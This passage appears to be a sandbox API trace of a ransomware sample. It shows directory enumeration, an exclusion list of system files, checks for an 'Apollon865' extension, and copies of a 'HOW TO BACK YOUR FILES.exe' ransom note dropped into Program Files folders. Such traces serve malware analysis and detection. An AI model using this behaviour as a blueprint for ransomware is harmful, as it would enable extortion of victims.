	[0062.374] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1
	[0062.374] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.374] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="Apollon865.txt.exe") returned 1
	[0062.374] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2=".") returned 1
	[0062.374] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="..") returned 1
	[0062.374] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="windows") returned -1
	[0062.374] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="bootmgr") returned 1
	[0062.374] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="temp") returned -1
	[0062.374] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="pagefile.sys") returned -1
	[0062.374] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="boot") returned 1
	[0062.374] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="ids.txt") returned 1
	[0062.374] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="ntuser.dat") returned -1
	[0062.374] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="perflogs") returned -1
	[0062.374] lstrcmpiW (lpString1="MpAsDesc.dll.mui", lpString2="MSBuild") returned -1
	[0062.375] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16
	[0062.375] lstrlenW (lpString="C:\\Program Files\\Windows Defender\\en-US\\*") returned 41
	[0062.375] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MpAsDesc.dll.mui" | out: lpString1="MpAsDesc.dll.mui") returned="MpAsDesc.dll.mui"
	[0062.375] lstrlenW (lpString="MpAsDesc.dll.mui") returned 16
	[0062.375] lstrlenW (lpString="Apollon865") returned 10
	[0062.375] lstrcmpiW (lpString1="sc.dll.mui", lpString2="Apollon865") returned 1
	[0062.375] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MpEvMsg.dll.mui" | out: lpString1="MpEvMsg.dll.mui") returned="MpEvMsg.dll.mui"
	[0062.375] lstrlenW (lpString="MpEvMsg.dll.mui") returned 15
	[0062.375] lstrlenW (lpString="Apollon865") returned 10
	[0062.375] lstrcmpiW (lpString1="sg.dll.mui", lpString2="Apollon865") returned 1
	[0062.375] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MsMpRes.dll.mui" | out: lpString1="MsMpRes.dll.mui") returned="MsMpRes.dll.mui"
	[0062.375] lstrlenW (lpString="MsMpRes.dll.mui") returned 15
	[0062.375] lstrlenW (lpString="Apollon865") returned 10
	[0062.375] lstrcmpiW (lpString1="es.dll.mui", lpString2="Apollon865") returned 1
	[0062.375] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Uninstall Information", iMaxLength=260 | out: lpString1="C:\\Program Files\\Uninstall Information") returned="C:\\Program Files\\Uninstall Information"
	[0062.375] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bca10 | out: hHeap=0x580000) returned 1
	[0062.375] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0062.375] lstrlenW (lpString="C:\\Program Files\\Uninstall Information") returned 38
	[0062.375] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Uninstall Information" | out: lpString1="C:\\Program Files\\Uninstall Information") returned="C:\\Program Files\\Uninstall Information"
	[0062.375] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.375] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Uninstall Information\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\uninstall information\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.379] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.380] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3d40ad30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d40ad30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.380] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.380] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.380] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.380] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3d40ad30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d40ad30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.380] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.380] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.380] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.380] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.380] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d40ad30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d40ad30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.380] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.380] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d40ad30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d40ad30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0062.380] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.380] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0062.380] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Reference Assemblies", iMaxLength=260 | out: lpString1="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies"
	[0062.380] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc9b8 | out: hHeap=0x580000) returned 1
	[0062.380] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0062.380] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies") returned 37
	[0062.380] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Reference Assemblies" | out: lpString1="C:\\Program Files\\Reference Assemblies") returned="C:\\Program Files\\Reference Assemblies"
	[0062.380] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.380] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\reference assemblies\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.389] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.389] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d40ad30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d40ad30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.390] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.390] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.390] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.390] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d40ad30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d40ad30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.390] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.390] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.390] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.390] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.390] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1745060, ftCreationTime.dwHighDateTime=0x1d5034b, ftLastAccessTime.dwLowDateTime=0xfbe4cf30, ftLastAccessTime.dwHighDateTime=0x1d4f675, ftLastWriteTime.dwLowDateTime=0xfbe4cf30, ftLastWriteTime.dwHighDateTime=0x1d4f675, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="economics.exe", cAlternateFileName="ECONOM~1.EXE")) returned 1
	[0062.390] lstrcmpiW (lpString1="economics.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.390] lstrcmpiW (lpString1="economics.exe", lpString2="Apollon865.txt.exe") returned 1
	[0062.390] lstrcmpiW (lpString1="economics.exe", lpString2=".") returned 1
	[0062.390] lstrcmpiW (lpString1="economics.exe", lpString2="..") returned 1
	[0062.390] lstrcmpiW (lpString1="economics.exe", lpString2="windows") returned -1
	[0062.390] lstrcmpiW (lpString1="economics.exe", lpString2="bootmgr") returned 1
	[0062.390] lstrcmpiW (lpString1="economics.exe", lpString2="temp") returned -1
	[0062.390] lstrcmpiW (lpString1="economics.exe", lpString2="pagefile.sys") returned -1
	[0062.390] lstrcmpiW (lpString1="economics.exe", lpString2="boot") returned 1
	[0062.390] lstrcmpiW (lpString1="economics.exe", lpString2="ids.txt") returned -1
	[0062.390] lstrcmpiW (lpString1="economics.exe", lpString2="ntuser.dat") returned -1
	[0062.390] lstrcmpiW (lpString1="economics.exe", lpString2="perflogs") returned -1
	[0062.390] lstrcmpiW (lpString1="economics.exe", lpString2="MSBuild") returned -1
	[0062.390] lstrlenW (lpString="economics.exe") returned 13
	[0062.390] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\*") returned 39
	[0062.390] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="economics.exe" | out: lpString1="economics.exe") returned="economics.exe"
	[0062.390] lstrlenW (lpString="economics.exe") returned 13
	[0062.390] lstrlenW (lpString="Apollon865") returned 10
	[0062.390] lstrcmpiW (lpString1="nomics.exe", lpString2="Apollon865") returned 1
	[0062.391] lstrcpyW (in: lpString1=0x2d3e59c, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft"
	[0062.391] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0062.391] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5458
	[0062.391] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b10
	[0062.391] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0
	[0062.391] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.391] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0062.391] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Reference Assemblies\\Microsoft", iMaxLength=260 | out: lpString1="C:\\Program Files\\Reference Assemblies\\Microsoft") returned="C:\\Program Files\\Reference Assemblies\\Microsoft"
	[0062.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0062.391] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0062.391] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft") returned 47
	[0062.391] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Reference Assemblies\\Microsoft" | out: lpString1="C:\\Program Files\\Reference Assemblies\\Microsoft") returned="C:\\Program Files\\Reference Assemblies\\Microsoft"
	[0062.391] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.391] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\reference assemblies\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.395] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.395] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d430e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d430e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.395] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.395] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.395] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.395] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d430e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d430e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.395] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.395] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.395] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.395] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.395] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 1
	[0062.395] lstrcmpiW (lpString1="Framework", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.395] lstrcmpiW (lpString1="Framework", lpString2="Apollon865.txt.exe") returned 1
	[0062.395] lstrcmpiW (lpString1="Framework", lpString2=".") returned 1
	[0062.396] lstrcmpiW (lpString1="Framework", lpString2="..") returned 1
	[0062.396] lstrcmpiW (lpString1="Framework", lpString2="windows") returned -1
	[0062.396] lstrcmpiW (lpString1="Framework", lpString2="bootmgr") returned 1
	[0062.396] lstrcmpiW (lpString1="Framework", lpString2="temp") returned -1
	[0062.396] lstrcmpiW (lpString1="Framework", lpString2="pagefile.sys") returned -1
	[0062.396] lstrcmpiW (lpString1="Framework", lpString2="boot") returned 1
	[0062.396] lstrcmpiW (lpString1="Framework", lpString2="ids.txt") returned -1
	[0062.396] lstrcmpiW (lpString1="Framework", lpString2="ntuser.dat") returned -1
	[0062.396] lstrcmpiW (lpString1="Framework", lpString2="perflogs") returned -1
	[0062.396] lstrcmpiW (lpString1="Framework", lpString2="MSBuild") returned -1
	[0062.396] lstrlenW (lpString="Framework") returned 9
	[0062.396] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft\\*") returned 49
	[0062.396] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Framework" | out: lpString1="Framework") returned="Framework"
	[0062.396] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0062.396] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x74) returned 0x5916c0
	[0062.396] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b10
	[0062.396] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d430e90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d430e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.396] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.396] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d430e90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d430e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0062.396] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.396] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7990
	[0062.396] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework", iMaxLength=260 | out: lpString1="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework"
	[0062.396] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0062.396] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0062.396] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework") returned 57
	[0062.396] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework" | out: lpString1="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework"
	[0062.396] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.396] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.400] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.400] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d430e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d430e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.400] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.400] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.401] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.401] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3d430e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d430e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.401] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.401] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.401] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.401] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.401] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d430e90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d430e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.401] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.401] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x974da2e9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x974da2e9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1
	[0062.401] lstrcmpiW (lpString1="v3.0", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.401] lstrcmpiW (lpString1="v3.0", lpString2="Apollon865.txt.exe") returned 1
	[0062.401] lstrcmpiW (lpString1="v3.0", lpString2=".") returned 1
	[0062.401] lstrcmpiW (lpString1="v3.0", lpString2="..") returned 1
	[0062.401] lstrcmpiW (lpString1="v3.0", lpString2="windows") returned -1
	[0062.401] lstrcmpiW (lpString1="v3.0", lpString2="bootmgr") returned 1
	[0062.401] lstrcmpiW (lpString1="v3.0", lpString2="temp") returned 1
	[0062.401] lstrcmpiW (lpString1="v3.0", lpString2="pagefile.sys") returned 1
	[0062.401] lstrcmpiW (lpString1="v3.0", lpString2="boot") returned 1
	[0062.401] lstrcmpiW (lpString1="v3.0", lpString2="ids.txt") returned 1
	[0062.401] lstrcmpiW (lpString1="v3.0", lpString2="ntuser.dat") returned 1
	[0062.401] lstrcmpiW (lpString1="v3.0", lpString2="perflogs") returned 1
	[0062.401] lstrcmpiW (lpString1="v3.0", lpString2="MSBuild") returned 1
	[0062.401] lstrlenW (lpString="v3.0") returned 4
	[0062.401] lstrlenW (lpString="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\*") returned 59
	[0062.401] lstrcpyW (in: lpString1=0x2d3e5c4, lpString2="v3.0" | out: lpString1="v3.0") returned="v3.0"
	[0062.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0062.401] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf788
	[0062.401] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b10
